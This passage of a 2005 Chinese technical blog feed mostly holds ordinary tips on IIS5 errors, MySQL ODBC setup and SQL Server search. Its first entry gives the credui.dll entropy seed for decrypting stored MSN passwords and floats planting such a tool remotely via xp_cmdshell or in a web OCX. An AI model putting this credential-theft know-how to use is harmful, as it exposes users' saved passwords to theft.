0xdc, 0x00, <BR>0xb4, 0x00, 0xe4, 0x00, 0x18, 0x01, 0x14, 0x01, <BR>0x04, 0x01, 0xb4, 0x00, 0xd0, 0x00, 0xdc, 0x00, <BR>0xd0, 0x00, 0xe0, 0x00, 0xb4, 0x00, 0xe0, 0x00, <BR>0xd8, 0x00, 0xdc, 0x00, 0xc8, 0x00, 0xb4, 0x00, <BR>0x10, 0x01, 0xd4, 0x00, 0x14, 0x01, 0x18, 0x01, <BR>0x14, 0x01, 0xd4, 0x00, 0x08, 0x01, 0xdc, 0x00, <BR>0xdc, 0x00, 0xe4, 0x00, 0x08, 0x01, 0xc0, 0x00, 0x00, 0x00 }; <BR>而实际上，是这个东西变出来的： <BR>char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll <BR><BR>具体的代码偶就不贴了，反正可以立刻搞到本机上所有msn口令。 <BR><BR>flier老大虽然说没有啥价值，不过，还是可以懵懵人的。比如说，我可以通过xp_cmdshell连接到远程机器上，把程序种进去（是否有这个crendential，我不知道，:$）；或者我把这个功能做到一个ocx里面，共他人在网页上使用，嘿嘿；或者把它放到我的程序里面。。。。。。 <BR>哎，世间险恶啊！ </DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=99" /> 
	  <id>http://www.openx.cn/default.asp?id=99</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[CSDN搜速引擎出现错误]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-10-26T09:22:56+08:00</updated>
	  <published>2005-10-26T09:22:56+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]include/Editor/UploadFile/2005102692150915.gif[/img]</P>
<P>今天一大早使用CSDN的搜索引擎的时候发现的~后后~不会他们正在调试吧~SQL语句都出来咯~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=98" /> 
	  <id>http://www.openx.cn/default.asp?id=98</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发现好玩的~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-10-25T16:25:48+08:00</updated>
	  <published>2005-10-25T16:25:48+08:00</published>
		  <summary type="html"><![CDATA[<P>用XP sp2的系统</P>
<P>在桌面建了文本文件<BR>里面打<BR>移动<BR>关闭保存<BR>打开,把移动改成联通<BR>看看会是什么~哈哈!我刚试验了~不错! </P>
<P>联通没咯~变一个黑黑的烧焦的手机电池咯 <BR><BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=97" /> 
	  <id>http://www.openx.cn/default.asp?id=97</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[如何解决IIS 5的 HTTP500内部错误]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-24T11:50:52+08:00</updated>
	  <published>2005-10-24T11:50:52+08:00</published>
		  <summary type="html"><![CDATA[解决IIS5 HTTP500内部错误
<P>&nbsp;&nbsp;&nbsp;<STRONG> 一.错误表现 </STRONG></P>
<P>&nbsp;&nbsp;&nbsp; IIS5的HTTP 500内部服务器错误是我们经常碰到的错误之一，它的主要错误表现就是ASP程序不能浏览但HTM静态网页不受影响。另外当错误发生时，系统事件日志和安全事件日志都会有相应的记录。 </P>
<P>&nbsp;&nbsp;&nbsp; 具体如下： </P>
<P>&nbsp;&nbsp;&nbsp; (一)IE中的表现 </P>
<P>&nbsp;&nbsp;&nbsp; 当浏览以前能够正常运行的asp页面时会出现如下的错误: </P>
<P>&nbsp;&nbsp;&nbsp; 网页无法显示 </P>
<P>&nbsp;&nbsp;&nbsp; 您要访问的网页存在问题，因此无法显示。 </P>
<P>&nbsp;&nbsp;&nbsp; 请尝试下列操作： </P>
<P>&nbsp;&nbsp;&nbsp; 打开 http://127.0.0.1&nbsp; ;主页，寻找指向所需信息的链接。 </P>
<P>&nbsp;&nbsp;&nbsp; 单击刷新按钮，或者以后重试。 </P>
<P>&nbsp;&nbsp;&nbsp; HTTP 500 - 内部服务器错误 </P>
<P>&nbsp;&nbsp;&nbsp; Internet 信息服务 </P>
<P>&nbsp;&nbsp;&nbsp; 技术信息（支持个人） </P>
<P>&nbsp;&nbsp;&nbsp; 详细信息： </P>
<P>&nbsp;&nbsp;&nbsp; Microsoft 支持 </P>
<P>&nbsp;&nbsp;&nbsp; 或者是: </P>
<P>&nbsp;&nbsp;&nbsp; Server Application Error </P>
<P>&nbsp;&nbsp;&nbsp; The server has encountered an error while loading an application during the processing of your request. Please refer to the event log for more detail information. Please contact the server administrator for assistance. </P>
<P>&nbsp;&nbsp;&nbsp; (二)安全日志记录(2条) </P>
<P>&nbsp;&nbsp;&nbsp; 事件类型: 失败审核 </P>
<P>&nbsp;&nbsp;&nbsp; 事件来源: Security </P>
<P>&nbsp;&nbsp;&nbsp; 事件种类: 登录/注销 </P>
<P>&nbsp;&nbsp;&nbsp; 事件 ID: 529 </P>
<P>&nbsp;&nbsp;&nbsp; 日期: 2001-9-9 </P>
<P>&nbsp;&nbsp;&nbsp; 事件: 11:17:07 </P>
<P>&nbsp;&nbsp;&nbsp; 用户: NT AUTHORITY\SYSTEM </P>
<P>&nbsp;&nbsp;&nbsp; 计算机: MYSERVER </P>
<P>&nbsp;&nbsp;&nbsp; 描述: </P>
<P>&nbsp;&nbsp;&nbsp; 登录失败: </P>
<P>&nbsp;&nbsp;&nbsp; 原因: 用户名未知或密码错误 </P>
<P>&nbsp;&nbsp;&nbsp; 用户名: IWAM_MYSERVER </P>
<P>&nbsp;&nbsp;&nbsp; 域: MYDOM </P>
<P>&nbsp;&nbsp;&nbsp; 登录类型: 4 </P>
<P>&nbsp;&nbsp;&nbsp; 登录过程: Advapi </P>
<P>&nbsp;&nbsp;&nbsp; 身份验证程序包: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 </P>
<P>&nbsp;&nbsp;&nbsp; 工作站名: MYSERVER </P>
<P>&nbsp;&nbsp;&nbsp; 事件类型: 失败审核 </P>
<P>&nbsp;&nbsp;&nbsp; 事件来源: Security </P>
<P>&nbsp;&nbsp;&nbsp; 事件种类: 帐户登录 </P>
<P>&nbsp;&nbsp;&nbsp; 事件 ID: 681 </P>
<P>&nbsp;&nbsp;&nbsp; 日期: 2001-9-9 </P>
<P>&nbsp;&nbsp;&nbsp; 事件: 11:17:07 </P>
<P>&nbsp;&nbsp;&nbsp; 用户: NT AUTHORITY\SYSTEM </P>
<P>&nbsp;&nbsp;&nbsp; 计算机: MYSERVER </P>
<P>&nbsp;&nbsp;&nbsp; 描述: </P>
<P>&nbsp;&nbsp;&nbsp; 登录到帐户: IWAM_MYSERVER </P>
<P>&nbsp;&nbsp;&nbsp; 登录的用户: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 </P>
<P>&nbsp;&nbsp;&nbsp; 从工作站: MYSERVER </P>
<P>&nbsp;&nbsp;&nbsp; 未成功。错误代码是: 3221225578&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp; (三)系统日志中的记录(2条) </P>
<P>&nbsp;&nbsp;&nbsp; 事件类型: 错误 </P>
<P>&nbsp;&nbsp;&nbsp; 事件来源: DCOM </P>
<P>&nbsp;&nbsp;&nbsp; 事件种类: 无 </P>
<P>&nbsp;&nbsp;&nbsp; 事件 ID: 10004 </P>
<P>&nbsp;&nbsp;&nbsp; 日期: 2001-9-9 </P>
<P>&nbsp;&nbsp;&nbsp; 事件: 11:20:26 </P>
<P>&nbsp;&nbsp;&nbsp; 用户: N/A </P>
<P>&nbsp;&nbsp;&nbsp; 计算机: MYSERVER </P>
<P>&nbsp;&nbsp;&nbsp; 描述: </P>
<P>&nbsp;&nbsp;&nbsp; DCOM 遇到错误“无法更新密码。提供给新密码的值包含密码中不允许的值。 ”并且无法登录到 .\IWAM_MYSERVER 上以运行服务器: </P>
<P>&nbsp;&nbsp;&nbsp; {3D14228D-FBE1-11D0-995D-00C04FD919C1} </P>
<P><BR>&nbsp;&nbsp;&nbsp; 事件类型: 警告 </P>
<P>&nbsp;&nbsp;&nbsp; 事件来源: W3SVC </P>
<P>&nbsp;&nbsp;&nbsp; 事件种类: 无 </P>
<P>&nbsp;&nbsp;&nbsp; 事件 ID: 36 </P>
<P>&nbsp;&nbsp;&nbsp; 日期: 2001-9-9 </P>
<P>&nbsp;&nbsp;&nbsp; 事件: 11:20:26 </P>
<P>&nbsp;&nbsp;&nbsp; 用户: N/A </P>
<P>&nbsp;&nbsp;&nbsp; 计算机: MYSERVER </P>
<P>&nbsp;&nbsp;&nbsp; 描述: </P>
<P>&nbsp;&nbsp;&nbsp; 服务器未能转入应用程序 ''/LM/W3SVC/4/Root''。错误是 ''RunAs 的格式必须是&lt;域名&gt;\&lt;用户名&gt;或只是&lt;用户名&gt;''。 </P>
<P>&nbsp;&nbsp;&nbsp; 若要获取关于此消息的更多的信息，请访问 Microsoft 联机支持站点: http://www.microsoft.com/contentredirect.asp&nbsp; 。 </P>
<P>&nbsp;&nbsp;&nbsp; <STRONG>二.原因分析 </STRONG></P>
<P>&nbsp;&nbsp;&nbsp; 综合分析上面的错误表现我们可以看出，主要是由于IWAM账号（在我的计算机即是IWAM_MYSERVER账号）的密码错误造成了HTTP 500内部错误。&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp; 在详细分析HTTP500内部错误产生的原因之前，先对IWAM账号进行一下简要的介绍：IWAM账号是安装IIS5时系统自动建立的一个内置账号，主要用于启动进程之外的应用程序的Internet信息服务。IWAM账号的名字会根据每台计算机NETBIOS名字的不同而有所不同，通用的格式是IWAM_MACHINE，即由“IWAM”前缀、连接线“_”加上计算机的NETBIOS名字组成。我的计算机的NETBIOS名字是MYSERVER，因此我的计算机上IWAM账号的名字就是IWAM_MYSERVER，这一点与IIS匿名账号ISUR_MACHINE的命名方式非常相似。 </P>
<P>&nbsp;&nbsp;&nbsp; IWAM账号建立后被Active Directory、IIS metabase数据库和COM+应用程序三方共同使用，账号密码被三方分别保存，并由操作系统负责这三方保存的IWAM密码的同步工作。按常理说，由操作系统负责的工作我们大可放心，不必担心出错，但不知是BUG还是其它什么原因，系统的对IWAM账号的密码同步工作有时会失败，使三方IWAM账号所用密码不统一。当IIS或COM+应用程序使用错误IWAM的密码登录系统，启动IIS Out-Of-Process Pooled Applications时，系统会因密码错误而拒绝这一请求，导致IIS Out-Of-Process Pooled Applications启动失败，也就是我们在ID10004错误事件中看到的“不能运行服务器{3D14228D-FBE1-11D0-995D-00C04FD919C1} ”（这里{3D14228D-FBE1-11D0-995D-00C04FD919C1} 是IIS Out-Of-Process Pooled Applications的KEY），不能转入IIS5应用程序，HTTP 500内部错误就这样产生了。 </P>
<P>&nbsp;&nbsp;&nbsp; <STRONG>三.解决办法&nbsp;<BR></STRONG><BR>&nbsp;&nbsp;&nbsp; 知道了导致HTTP 500内部错误的原因，解决起来就比较简单了，那就是人工同步IWAM账号在Active Directory、IIS metabase数据库和COM+应用程序中的密码。 </P>
<P>&nbsp;&nbsp;&nbsp; 具体操作分三步,均需要以管理员身份登录计算机以提供足够的操作权限（IWAM账号以IWAM_MYSERVER为例）。&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp; （一）更改Active Directory中IWAM_MYSERVER账号的密码 </P>
<P>&nbsp;&nbsp;&nbsp; 因IWAM账号的密码由系统控制，随机产生，我们并不知道是什么，为完成下面两步的密码同步工作，我们必须将IWAM账号的密码设置为一个我们知道的值。 </P>
<P>&nbsp;&nbsp;&nbsp; 1、选择“开始”-&gt;“程序”-&gt;“管理工具”-&gt;"Active Directory用户和计算机"，启动“Active Directory用户和计算机”管理单元。 </P>
<P>&nbsp;&nbsp;&nbsp; 2、单击“user”，选中右面的“IWAM_MYSERVER”，右击选择“重设密码(T)...”，在跳出的重设密码对方框中给IWAM_MYSERVER设置新的密码，这儿我们设置成“Aboutnt2001”（没有引号的），确定，等待密码修改成功。 </P>
<P>&nbsp;&nbsp;&nbsp; （二）同步IIS metabase中IWAM_MYSERVER账号的密码 </P>
<P>&nbsp;&nbsp;&nbsp; 可能因为这项改动太敏感和重要，微软并没有为我们修改IIS metabase中IWAM_MYSERVER账号密码提供一个显式的用户接口，只随IIS5提供了一个管理脚本adsutil.vbs，这个脚本位于C:\inetpub\adminscripts子目录下（位置可能会因你安装IIS5时设置的不同而有所变动）。 </P>
<P>&nbsp;&nbsp;&nbsp; adsutil.vbs脚本功能强大，参数非常多且用法复杂，这里只提供使用这个脚本修改IWAM_MYSERVER账号密码的方法: </P>
<P>&nbsp;&nbsp;&nbsp; adsutil SET w3svc/WAMUserPass Password </P>
<P>&nbsp;&nbsp;&nbsp; "Password"参数就是要设置的IWAM账号的新的密码。因此我们将IIS metabase中IWAM_MYSERVER账号的密码修改为“Aboutnt2001”的命令就是： </P>
<P>&nbsp;&nbsp;&nbsp; c:\Inetpub\AdminScripts&gt;adsutil SET w3svc/WAMUserPass "Aboutnt2001" </P>
<P>&nbsp;&nbsp;&nbsp; 修改成功后，系统会有如下提示： </P>
<P>&nbsp;&nbsp;&nbsp; WAMUserPass: (String) "Aboutnt2001"&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp; （三）同步COM+应用程序所用的IWAM_MYSERVER的密码 </P>
<P>&nbsp;&nbsp;&nbsp; 同步COM+应用程序所用的IWAM_MYSERVER的密码，我们有两种方式可以选择:一种是使用组件服务MMC管理单元，另一种是使用IWAM账号同步脚本synciwam.vbs。&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp; 1、使用组件服务MMC管理单元 </P>
<P>&nbsp;&nbsp;&nbsp; （1）启动组件服务管理单元：选择“开始”-&gt;“运行”-&gt;“MMC”，启动管理控制台,打开“添加/删除管理单元”对话框,将“组件服务”管理单元添加上。 </P>
<P>&nbsp;&nbsp;&nbsp; （2）找到“组件服务”-&gt;“计算机”-&gt;“我的电脑”-&gt;“COM+应用程序”-&gt;“Out-Of-Process Pooled Applications”，右击“Out-Of-Process Pooled Applications”-&gt;“属性”。 </P>
<P>&nbsp;&nbsp;&nbsp; （3）切换到“Out-Of-Process Pooled Applications”属性对话框的“标志”选项卡。“此应用程序在下列账户下运行”选择中“此用户”会被选中，用户名是“IWAM_MYSERVER”。这些都是缺省的，不必改动。在下面的“密码”和“确认密码”文本框内输入正确的密码“Aboutnt2001”，确定退出。 </P>
<P>&nbsp;&nbsp;&nbsp; （4）系统如果提示“应用程序被一个以上的外部产品创建。你确定要被这些产品支持吗？”时确定即可。 </P>
<P>&nbsp;&nbsp;&nbsp; （5）如果我们在IIS中将其它一些Web的“应用程序保护”设置为“高（独立的）”,那么这个WEB所使用的COM+应用程序的IWAM账号密码也需要同步。重复（1）-（4）步，同步其它相应Out of process application的IWAM账号密码。&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp; 2、使用IWAM账号同步脚本synciwam.vbs </P>
<P>&nbsp;&nbsp;&nbsp; 实际上微软已经发现IWAM账号在密码同步方面存在问题，因此在IIS5的管理脚本中单独为IWAM账号密码同步编写了一个脚本synciwam.vbs，这个脚本位于C:\inetpub\adminscripts子目录下（位置可能会因你安装IIS5时设置的不同而有所变动）。 </P>
<P>&nbsp;&nbsp;&nbsp; synciwam.vbs脚本用法比较简单： </P>
<P>&nbsp;&nbsp;&nbsp; cscript synciwam.vbs [-v|-h] </P>
<P>&nbsp;&nbsp;&nbsp; “-v”参数表示详细显示脚本执行的整个过程(建议使用)，“-h”参数用于显示简单的帮助信息。&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp; 我们要同步IWAM_MYSERVER账号在COM+应用程序中的密码，只需要执行“cscript synciwam.vbs -v”即可，如下： </P>
<P>&nbsp;&nbsp;&nbsp; cscript c:\inetpub\adminscripts\synciwam.vbs -v </P>
<P>&nbsp;&nbsp;&nbsp; Microsoft (R) Windows Script Host Version 5.6 </P>
<P>&nbsp;&nbsp;&nbsp; 版权所有(C) Microsoft Corporation 1996-2000。保留所有权利。&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp; WamUserName:IWAM_MYSERVER </P>
<P>&nbsp;&nbsp;&nbsp; WamUserPass:Aboutnt2001 </P>
<P>&nbsp;&nbsp;&nbsp; IIS Applications Defined: </P>
<P>&nbsp;&nbsp;&nbsp; Name, AppIsolated, Package ID </P>
<P>&nbsp;&nbsp;&nbsp; w3svc, 0, {3D14228C-FBE1-11d0-995D-00C04FD919C1} </P>
<P>&nbsp;&nbsp;&nbsp; Root, 2, </P>
<P>&nbsp;&nbsp;&nbsp; IISHelp, 2, </P>
<P>&nbsp;&nbsp;&nbsp; IISAdmin, 2, </P>
<P>&nbsp;&nbsp;&nbsp; IISSamples, 2, </P>
<P>&nbsp;&nbsp;&nbsp; MSADC, 2, </P>
<P>&nbsp;&nbsp;&nbsp; ROOT, 2, </P>
<P>&nbsp;&nbsp;&nbsp; IISAdmin, 2, </P>
<P>&nbsp;&nbsp;&nbsp; IISHelp, 2, </P>
<P>&nbsp;&nbsp;&nbsp; Root, 2, </P>
<P>&nbsp;&nbsp;&nbsp; Root, 2,&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp; Out of process applications defined: </P>
<P>&nbsp;&nbsp;&nbsp; Count: 1 </P>
<P>&nbsp;&nbsp;&nbsp; {3D14228D-FBE1-11d0-995D-00C04FD919C1} </P>
<P><BR>&nbsp;&nbsp;&nbsp; Updating Applications: </P>
<P>&nbsp;&nbsp;&nbsp; Name: IIS Out-Of-Process Pooled Applications Key: {3D14228D-FBE1-11D0-995D-00C04FD919C1}&nbsp;<BR><BR>　　从上面脚本的执行情况可以看出，使用synciwam.vbs脚本要比使用组件服务的方法更全面和快捷。它首先从IIS的metabase数据库找到IWAM账号"IWAM_MYSERVER"并取出对应的密码“Aboutnt2001”，然后查找所有已定义的IIS Applications和Out of process applications，并逐一同步每一个Out of process applications应用程序的IWAM账号密码。 <BR><BR>　　使用synciwam.vbs脚本时，要注意一个问题，那就是在你运行synciwam.vbs之前，必须保证IIS metabase数据库与Active Directory中的IWAM密码已经一致。因为synciwam.vbs脚本是从IIS metabase数据库而不是从Active Directory取得IWAM账号的密码，如果IIS metabase中的密码不正确，那synciwam.vbs取得的密码也会不正确，同步操作执行到“Updating Applications”系统就会报80110414错误，即“找不到应用程序{3D14228D-FBE1-11D0-995D-00C04FD919C1}”。 <BR><BR>　　好了，到现在为止，IWAM账号在Active Directory、IIS metabase数据库和COM+应用程序三处的密码已经同步成功，你的ASP程序又可以运行了！ <BR></P>
<P>摘:http://it.rising.com.cn/newSite/Channels/Safety/SafetyResourse/Safe_Foundation/200412/31-094217996.htm</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=96" /> 
	  <id>http://www.openx.cn/default.asp?id=96</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[怎样在vc、delphi中使用mysql(mysql odbc驱动的使用)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-22T22:23:43+08:00</updated>
	  <published>2005-10-22T22:23:43+08:00</published>
		  <summary type="html"><![CDATA[怎样在vc、delphi、vb等程序中使用mysql呢(mysql odbc驱动程序的使用) <BR>我们经常会遇到这样问题，怎样在非web程序或asp程序中使用mysql数据库呢？对于这个问题有两个解决方案: <BR>1.使用mysql提供的api函数库。 <BR>很多有名的mysql客户端工具就是这样实现的，大名鼎鼎的winmysql工具就是这样的。这在大部分的开发工具中都可以实现。 <BR>比如vc,bcb,delphi,vb等，只要能调用第三方的api就能实现。但对程序员的要求很高，而且要熟悉一套mysql的api函数集，这不是对每个人都 <BR>很轻松的事。而且这种方法不能用于asp等程序，因为它不支持com对象。 <BR>2。第二种是使用myodbc驱动程序。 <BR>你可以到www.mysql.com下载myodbc驱动程序，然后照着下面的做就可以了 <BR>第一种选择是下载完全安装包，这种包很大，但对于我们来说有用的只有myodbc.dll这个文件，却要下载这么大的文件，不太合适。当然，如果你 <BR>很菜的话，我建议你选择这种方式，这样容易些，但不符合cfans的作风，是吧。 <BR>第二种是直接下载myodbc.dll文件，只有几百k,但不太容易使用，本人经过很久摸索才找到使用它的方法。 <BR>首先你将包解开，将myodbc.dll 文件放到windowssystem 或 winntsystem32目录下，这取决于你的系统是win9x还是winnt(win2k)，你应该 <BR>知道吧。 <BR>然后打开一纯文本编辑器，如editplus,notpad之类，(取决于你的喜好)将下面一段话保存为一文件，扩展名为.reg,知道了吧，这是注册表文件，不要搞 <BR>错呀(不包括下面的一长串等号) <BR>如果你用的是win2k请将第一行换成 <BR>Windows Registry Editor Version 5.00 <BR>==========================================================从下行开始 <BR>Windows Registry Editor Version 4.00 <BR><BR><BR>[HKEY_LOCAL_MACHINESOFTWAREODBCODBCINST.INImyodbc driver] <BR>"UsageCount"=dword:00000002 <BR>"Driver"="C:\WINNT\System32\myodbc.dll" <BR>"Setup"="C:\WINNT\System32\myodbc.dll" <BR>"SQLLevel"="1" <BR>"FileUsage"="0" <BR>"DriverODBCVer"="02.50" <BR>"ConnectFunctions"="YYY" <BR>"APILevel"="1" <BR>"CpTimeout"="120" <BR>[HKEY_LOCAL_MACHINESOFTWAREODBCODBCINST.INIODBC Drivers] <BR>"myodbc driver"="installed" <BR><BR>=======================================]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=95" /> 
	  <id>http://www.openx.cn/default.asp?id=95</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[SQL中代替Like语句的另一种写法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-22T22:19:38+08:00</updated>
	  <published>2005-10-22T22:19:38+08:00</published>
		  <summary type="html"><![CDATA[比如查找用户名包含有"c"的所有用户, 可以用 <BR><BR>use mydatabase <BR>select * from table1 where username lik&#101;'%c%" <BR><BR><BR>下面是完成上面功能的另一种写法: <BR>use mydatabase <BR>select * from table1 where charindex('c',username)&gt;0 <BR>这种方法理论上比上一种方法多了一个判断语句,即&gt;0, 但这个判断过程是最快的, 我想信80%以上的运算都是花在查找字 <BR>符串及其它的运算上, 所以运用charindex函数也没什么大不了. 用这种方法也有好处, 那就是对%,|等在不能直接用lik&#101; <BR>查找到的字符中可以直接在这charindex中运用, 如下: <BR>use mydatabase <BR>select * from table1 where charindex('%',username)&gt;0 <BR>也可以写成: <BR>use mydatabase <BR>select * from table1 where charindex(char(37),username)&gt;0 <BR>ASCII的字符即为%]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=94" /> 
	  <id>http://www.openx.cn/default.asp?id=94</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[SQL Server 2000中全文检索的使用]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-22T22:15:58+08:00</updated>
	  <published>2005-10-22T22:15:58+08:00</published>
		  <summary type="html"><![CDATA[建立全文索引 <BR><BR>在进行全文检索之前，必须先建立和填充数据库全文索引。为了支持全文索引操作，SQL Server 7.0新增了一些存储过程和Transact-SQL语句。使用这些存储过程创建全文索引的具体步骤如下（括号内为调用的存储过程名称）： <BR><BR>1. 启动数据库的全文处理功能(sp_fulltext_ <BR><BR>database);； <BR><BR>2. 建立全文检索目录(sp_fulltext_catalog); <BR><BR>3.在全文检索目录中注册需要全文索引的表(sp_fulltext_table); <BR><BR>4. 指出表中需要全文检索的列名(sp_fulltext_ <BR><BR>column);； <BR><BR>5. 为表创建全文索引(sp_fulltext_table);； <BR><BR>6. 填充全文检索目录(sp_fulltext_catalog)。 <BR><BR>下面举例说明如何创建全文索引，在本例中，对Test数据库Book表中Title列和Notes列建立全文索引。 <BR><BR>use test //打开数据库 <BR><BR>//打开全文索引支持，启动SQL Server的全文搜索服务 <BR><BR>execute sp_fulltext_database ‘enable’ <BR><BR>//建立全文检索目录ft_test <BR><BR>execute sp_fulltext_catalog ‘ft_test’, ‘create’ <BR><BR>为Title列建立全文索引数据元，pk_title为Book表中由主键所建立的唯一索引，这个参数是必需的。 <BR><BR>execute sp_fulltext_table ‘book’，‘create’, ‘ft_test’，‘pk_title’ <BR><BR>//设置全文索引列名 <BR><BR>execute sp_fulltext_column ‘book’, ‘title’, ‘add’ <BR><BR>execute sp_fulltext_column ‘book’，‘notes’, ‘add’ <BR><BR>//建立全文索引 <BR><BR>execute sp_fulltext_table ‘book’, ‘activate’ <BR><BR>//填充全文索引目录 <BR><BR>execute sp_fulltext_catalog ‘ft_test’, ‘start_full’ <BR><BR>至此，全文索引建立完毕。 <BR><BR>进行全文检索 <BR><BR>SQL Server 2000提供的全文检索语句主要有CONTAINS和FREETEXT。CONTAINS语句的功能是在表的所有列或指定列中搜索：一个字或短语；一个字或短语的前缀；与一个字相近的另一个字；一个字的派生字；一个重复出现的字。 <BR><BR>CONTAINS语句的语法格式为： <BR><BR>CONTAINS({column | *}), &lt;contains_search <BR><BR>_condition&gt; ) 
<P><FONT face="verdana, arial, helvetica" size=2>其中，column是搜索列，使用“*”时说明对表中所有全文索引列进行搜索。Contains_search_ <BR><BR>condition 说明CONTAINS语句的搜索内容，其语法格式为： <BR><BR>{&lt;simple_term&gt;|&lt;prefix_term&gt;|&lt;proximity_term&gt;|&lt;generation_term&gt;|&lt;weighted_term&gt;}[{{AND|AND NOT|OR}&lt;contains_search_condition&gt;}] [...n] <BR><BR>下面就simple_term和prefix_term参数做简要说明： <BR><BR>simple_term是CONTAINS语句所搜索的单字或短语，当搜索的是一个短语时，必须使用双引号作为定界符。其格式为： <BR><BR>{‘word’|“ phrase”} <BR><BR>prefix_term说明CONTAINS语句所搜索的字或短语前缀，其格式为： <BR><BR>{“word*” | “phrase*”} <BR><BR>例如，下面语句检索Book表的Title列和Notes列中包含“database”或“computer”字符串的图书名称及其注释信息： <BR><BR>select title, notes <BR><BR>from book <BR><BR>where contains(tilte, ‘database’) or contains(notes，‘database’) <BR><BR>or contains(title，‘computer’) or contains(notes，‘computer’) <BR><BR>FREETEXT语句的功能是在一个表的所有列或指定列中搜索一个自由文本格式的字符串，并返回与该字符串匹配的数据行。所以，FREETEXT语句所执行的功能又称做自由式全文查询。 <BR><BR>FREETEXT语句的语法格式为：FREETEXT({column | * }，‘freetext_string’) <BR><BR>其中，column是被搜索列，使用“*”时说明对表中的所有全文索引列进行搜索。Freetext_string参数指出所搜索的自由文本格式字符串。 <BR><BR>例如，下面语句使用FREETEXT语句搜索Book表中包含“Successful Life”字符串的数据行： <BR><BR>select title, notes <BR><BR>from book <BR><BR>where freetext(*，‘Successful Life’)</FONT></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=93" /> 
	  <id>http://www.openx.cn/default.asp?id=93</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[SQL Server全文索引服务 - 编程提高篇]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-22T22:13:06+08:00</updated>
	  <published>2005-10-22T22:13:06+08:00</published>
		  <summary type="html"><![CDATA[<SPAN class=c><FONT class=f14 id=zoom><FONT size=3>关于安装设置和基本编程请参见Microsoft SQL Server 全文索引服务安装设置篇(http://www.chinaasp.com/faq/showfaq.asp?id=1234)和Microsoft SQL Server 全文索引服务编程篇(http://www.chinaasp.com/faq/showfaq.asp?id=1235)。 <BR><BR>SQL 7的全文检索和Index Server的检索方式非常类似。 <BR><BR>Contains <BR>AND, OR, NOT <BR>可以在Contains中很方便使用逻辑表达式 <BR>Example: <BR>Select username from member where contains(userinfo,'"作家" AND "木匠"') <BR>Select username from member where contains(userinfo,'"作家" OR "木匠"') <BR>Select username from member where contains(userinfo,'"作家" AND NOT "木匠"') <BR>NEAR <BR>这是一个在普通的逻辑表达式中没有的关键字，意思是很简单，就是说找到靠近的两个词 <BR>Example: <BR>Select Content from MicrosoftRecord where contains(Content,'"比尔·盖茨" NEAR "保罗·艾伦"') <BR>这就表示要找到全文中包含比尔·盖茨和保罗·艾伦，并且两个词相隔不远。 <BR>FORMSOF INFLECTIONAL <BR>这个功能可以查找单词的各种形式，比如过去式、复数、动词形式、名词形式等。可惜对中文没什么用 <BR>Example: <BR>SELECT ProductName FROM Products WHERE CONTAINS(ProductName,'FORMSOF (INFLECTIONAL, dry)') <BR>* <BR>这个功能可以查找单词的前缀，不过对中文也没有什么用处 <BR>Example: <BR>SELECT ProductName FROM Products WHERE CONTAINS(ProductName, '"dis*"') <BR>ISABOUT WEIGHT <BR>这个功能可以给复合查询时不同的条件以不同的权重，以决定返回的记录集的顺序 <BR>SELECT CategoryName, Description FROM Categories WHERE CONTAINS(Description, 'ISABOUT spread weight (.8), sauces weight (.4), relishes weight (.2) )' ) 